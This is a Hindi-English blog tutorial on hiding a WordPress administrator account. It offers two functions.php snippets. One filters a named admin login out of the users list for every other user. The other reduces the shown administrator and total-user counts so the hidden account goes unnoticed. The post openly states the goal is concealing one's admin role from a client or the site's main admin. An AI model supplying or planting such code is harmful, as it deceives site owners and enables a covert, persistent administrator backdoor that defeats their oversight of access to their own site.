Web Development

How to hide admin role in WordPress?

How to hide admin role in WordPressनमस्कार दोस्तों webs blog में आप सब का स्वागत है , इस आर्टिकल में आप देख सकते हैं कि WordPress में एडमिन की भूमिका कैसे छिपाई जाए। इस आर्टिकल में, मैंने यह trick साझा की है कि आप मुख्य व्यवस्थापक से अपनी व्यवस्थापक भूमिका कैसे छिपा सकते हैं, चलिए बात करते है :-

How to hide admin role in WordPress?

so दोस्तों जब भी हम wordpress के अंदर कोई एडमिन cerate करते है तो हमारा जो एडमिन role होता है वो सभी admins को दीखता है | सो जब आप वर्डप्रेस के अंदर एडमिन बनाते हो तो ये एडमिन रोल्स मे ऐड हो जाता है और वर्डप्रेस के यूजर एडमिन सेक्शन में दीखता है , सो जब अब हम अपना एडमिन रोल बना लेते है तो बाकि के सभी एडमिन भी आपका एडमिन देख सकते है और चेक कर सकते है |

और इसके साथ ही एक वर्डप्रेस वेबसाइट में कितने एडमिन्स रोल है इसका पता भी एडमिन नंबर्स से लग जाता है की एक वेबसाइट में कितने एडमिन है , सो हम इस आर्टिकल में दोनों चीज़े देखेंगे की आप कैसे एडमिन रोल कैसे छुपा सकते हो और एडमिन कितने है है जो नंबर आता है उस नंबर को भी कैसे कम करके अपना एडमिन रोल छुपाया जा सकता है |

Why is it important to hide the admin role

हमारे सामने कई बार ऐसी परस्थिति आती है जिसमे हम अपने एडमिन role को छुपाना चाहते है |ये परस्थिति कोई भी हो सकती है , पर यह परस्थिति तब अति है जब हम अपना रोल किसी क्लाइंट से छुपाना चाहते है , सो इसी situation को आप कैसे मैनेज कर सकते है और अपना एडमिन रोल कैसे hide कर सकते है किसी भी वर्डप्रेस के मेन एडमिन से इसमें हम बात करेंगे |

इस आर्टिकल में मैं आपके साथ trick शेयर करोगा जिसमे आप अपने एडमिन रोल को छुपा सकते है और इसके साथ ही एडमिन कितने है एक वेबसाइट में उसकी नंबरिंग भी छुपा सकते है | सो एडमिन रोल को हाईड करने के लिए आपको सब से पहले अपनी वेबसाइट के अंदर child थीम का इस्तेमाल करना है , सो अगर आप को नहीं पता की आप चाइल्ड थीम कैसे बना सकते है|

तो आप मेरी निचे दिए गए आर्टिकल को फॉलो कर सकते है | क्यों की हम अपने एडमिन रोल को हाईड करने के लिए कस्टम कोड का इस्तेमाल करेंगे अपनी थीम फाइल के अंदर इस लिए हम चाइल्ड थीम का इस्तेमाल करेंगे इस कोड को ऐड करने के लिए|

आपको पता ही है जब भी हम कोई कस्टम कोड ऐड करते है वर्डप्रेस वेबसाइट के अंदर तो हम यह कोड चाइल्ड थीम में ऐड करते है , क्यों की चाइल्ड थीम में कोड ऐड करने से हमारा कोड कभी भी डिलीट नहीं होगा , चाहे हमारी पैरेंट थीम इन फ्यूचर अपडेट भी हो जाये |

How to Create a website with WordPress twenty twenty theme ?

Steps to hide admin role

How to hide admin role in WordPress सो दोस्तों आपको अपने एडमिन रोल को हाईड करने के लिए अपनी child थीम में जाकर functions.php फाइल में निचे दिया गया कोड ऐड करना है |

Code:-

//* Hide this administrator account from the users list
add_action(‘pre_user_query’,’site_pre_user_query’);
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

if ($username == ‘websblog’) {
}

else {
global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
“WHERE 1=1 AND {$wpdb->users}.user_login != ‘websblog'”,$user_search->query_where);
}
}

admin-hide-code
admin-hide-code

सो दोस्तों जब आप ये कोड ऐड करलो गए अपनी चाइल्ड थीम के अंदर तो आपका जो एडमिन रोल होगा वो हाईड हो जायेगा ,पर एडमिन कितने है वेबसाइट के अंदर इसका जो नंबर होगा वो सभी एडमिन काउंट करेगा , पर हम यह नंबर भी कैसे हाईड कर सकते है चलिए देखते है | सो दोस्तों एडमिन काउंट नंबर को हाईड करने के लिए आपको एक स्टेप और फॉलो करना होगा , आपको ठीक इस कोड के निचे अपना दूसरा कोड ऐड करना है, आपको इस कोड को भी functions.php फाइल के अंदर ऐड करना है आपको निचे दिया गया कोड ऐड करना है |

//* Show number of admins menus 1

add_filter(“views_users”, “site_list_table_views”);
function site_list_table_views($views){
$users = count_users();
$admins_num = $users[‘avail_roles’][‘administrator’] – 1;
$all_num = $users[‘total_users’] – 1;
$class_adm = ( strpos($views[‘administrator’], ‘current’) === false ) ? “” : “current”;
$class_all = ( strpos($views[‘all’], ‘current’) === false ) ? “” : “current”;
$views[‘administrator’] = ‘‘ . translate_user_role(‘Administrator’) . ‘ (‘ . $admins_num . ‘)‘;
$views[‘all’] = ‘‘ . __(‘All’) . ‘ (‘ . $all_num . ‘)‘;
return $views;
}

admin-count-code
admin-count-code

सो दोस्तों इस कोड को आपको ऐड करना है अपनी वर्डप्रेस वेबसाइट की functions.php फाइल के अंदर , जब आप ये कोड अपनी functions.php फाइल में ऐड कर लोगे तो आप देखोगे की एडमिन काउंट menu में सिर्फ एक ही एडमिन शो कर रहा है | अगर आपको एडमिन काउंट मेनू में 2 या 3 नंबर शो करना है तो आप ऊपर दी गयी इमेज में देख सकते हो की नंबर कहाँ पर ऐड करना है या आप ऊपर दी गयी वीडियो में भी इसके बारे में देख सकते हो |

सो दोस्तों ये थी trick थी की आप कैसे अपने एडमिन रोल को हाईड कर सकते है वेबसाइट के main एडमिन से सो दोस्तों मैं आशा करता हो की आप को ये पोस्ट अच्छी लगी होगी |

सो दोस्तों अगर आप को ये पोस्ट अच्छी लगी हो तो please इस पोस्ट को अपने friends, relatives के साथ जरूर share करे और comment जरूर करे की आप को ये पोस्ट कैसा लगा , और हमारे वेबसाइट के बेल्ल आइकॉन को जरूर प्रेस करे ता जो आप को हमारी आने वाली पोस्ट्स के साथ जुड़ सके | आप हमे you-tube पर भी follow कर सकते है |

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.